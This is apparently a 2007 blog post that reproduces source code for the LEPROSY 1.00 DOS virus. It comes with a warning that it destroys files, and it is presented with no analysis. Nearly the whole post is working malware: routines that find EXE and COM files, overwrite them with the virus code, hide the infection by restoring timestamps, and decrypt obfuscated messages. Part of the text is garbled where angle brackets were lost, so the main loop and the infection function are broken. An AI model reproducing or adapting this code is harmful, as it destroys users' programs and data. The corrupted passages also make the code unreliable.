Saturday, November 10, 2007

Source Code for LEPROSY Virus?

Source Code for LEPROSY Virus?
This file is part of the source code to the LEPROSY Virus 1.00
This program can cause destruction
of files; you're warned, the author assumes no responsibility
for damage this program causes, incidental or otherwise. This
program is not intended for general distribution -- irresponsible
users should not be allowed access to this program, or its
accompanying files.
*/

#pragma inline

#define CRLF "\x17\x14" /* CR/LF combo encrypted. */
#define NO_MATCH 0x12 /* No match in wildcard search. */


/* The following strings are not garbled; they are all encrypted */
/* using the simple technique of adding the integer value 10 to */
/* each character. They are automatically decrypted by */
/* 'print_s()', the function which sends the strings to 'stdout' */
/* using DOS service 09H. All are terminated with a dollar-sign */
/* "$" as per DOS service specifications. */

char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
};

struct _dta /* Disk Transfer Area format for find. */
{
char findnext[21];
char attribute;
int timestamp;
int datestamp;
long filesize;
char filename[13];
} *dta = (struct _dta *) 0x80; /* Set it to default DTA. */

const char filler[] = "XX"; /* Pad file length to 666 bytes. */
const char *codestart = (char *) 0x100; /* Memory where virus code begins. */
const int virus_size = 666; /* The size in bytes of the virus code. */
const int infection_rate = 4; /* How many files to infect per run. */

char compare_buf[20]; /* Load program here to test infection. */
int handle; /* The current file handle being used. */
int datestamp, timestamp; /* Store original date and time here. */
char diseased_count = 0; /* How many infected files found so far. */
char success = 0; /* How many infected this run. */

/* The following are function prototypes, in keeping with ANSI */
/* Standard C, for the support functions of this program. */

int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );

/*----------------------------------*/
/* M A I N P R O G R A M */
/*----------------------------------*/

int main( void ) {
int x = 0;
do {
if ( find_healthy() ) { /* Is there an un-infected file? */
infect(); /* Well, then infect it! */
x++; /* Add one to the counter. */
success++; /* Carve a notch in our belt. */
}
else { /* If there ain't a file here... */
_DX = (int) ".."; /* See if we can step back to */
_AH = 0x3b; /* the parent directory, and try */
asm int 21H; /* there. */
x++; /* Increment the counter anyway, to */
} /* avoid infinite loops. */
} while( x 6 ) /* If we found 6+ infected files */
for( x = 0; x <3>filename; /* DX register points to filename. */
_CX = 0x00; /* No attribute flags are set. */
_AL = 0x01; /* Use Set Attribute sub-function. */
_AH = 0x43; /* Assure access to write file. */
asm int 21H; /* Call DOS interrupt. */
open_handle( dta->filename ); /* Re-open the healthy file. */
_BX = handle; /* BX register holds handle. */
_CX = virus_size; /* Number of bytes to write. */
_DX = (int) codestart; /* Write program code. */
_AH = 0x40; /* Set up and call DOS. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close file. */
return;
}

int find_healthy( void ) {
if ( find_first("*.EXE") != NO_MATCH ) /* Find EXE? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
if ( find_first("*.COM") != NO_MATCH ) /* Find COM? */
if ( healthy() ) /* If it's healthy, OK! */
return 1;
else
while ( find_next() != NO_MATCH ) /* Try a few more otherwise. */
if ( healthy() )
return 1; /* If you find one, great! */
return 0; /* Otherwise, say so. */
}

int healthy( void ) {
int I;
datestamp = dta->datestamp; /* Save time & date for later. */
timestamp = dta->timestamp;
open_handle( dta->filename ); /* Open last file located. */
_BX = handle; /* BX holds current file handle. */
_CX = 20; /* We only want a few bytes. */
_DX = (int) compare_buf; /* DX points to the scratch buffer. */
_AH = 0x3f; /* Read in file for comparison. */
asm int 21H;
restore_timestamp(); /* Keep original date & time. */
close_handle(); /* Close the file. */
for ( I = 0; I < 20; I++ ) /* Compare to virus code. */
if ( compare_buf != *(codestart+I) )
return 1; /* If no match, return healthy. */
diseased_count++; /* Chalk up one more fucked file. */
return 0; /* Otherwise, return infected. */
}
void restore_timestamp( void ) {
_AL = 0x01; /* Keep original date & time. */
_BX = handle; /* Same file handle. */
_CX = timestamp; /* Get time & date from DTA. */
_DX = datestamp;
_AH = 0x57; /* Do DOS service. */
asm int 21H;
return;
}

void print_s( char *s ) {
char *p = s;
while ( *p ) { /* Subtract 10 from every character. */
*p -= 10;
p++;
}
_DX = (int) s; /* Set DX to point to adjusted string. */
_AH = 0x09; /* Set DOS function number. */
asm int 21H; /* Call DOS interrupt. */
return;
}

int find_first( char *fn ) {
_DX = (int) fn; /* Point DX to the file name. */
_CX = 0xff; /* Search for all attributes. */
_AH = 0x4e; /* 'Find first' DOS service. */
asm int 21H; /* Go, DOS, go. */
return _AX; /* Return possible error code. */
}

int find_next( void ) {
_AH = 0x4f; /* 'Find next' function. */
asm int 21H; /* Call DOS. */
return _AX; /* Return any error code. */
}

void open_handle( char *fn ) {
_DX = (int) fn; /* Point DX to the filename. */
_AL = 0x02; /* Always open for both read & write. */
_AH = 0x3d; /* "Open handle" service. */
asm int 21H; /* Call DOS. */
handle = _AX; /* Assume handle returned OK. */
return;
}
void close_handle( void ) {
_BX = handle; /* Load BX register w/current file handle. */
_AH = 0x3e; /* Set up and call DOS service. */
asm int 21H;
return;[code][/code]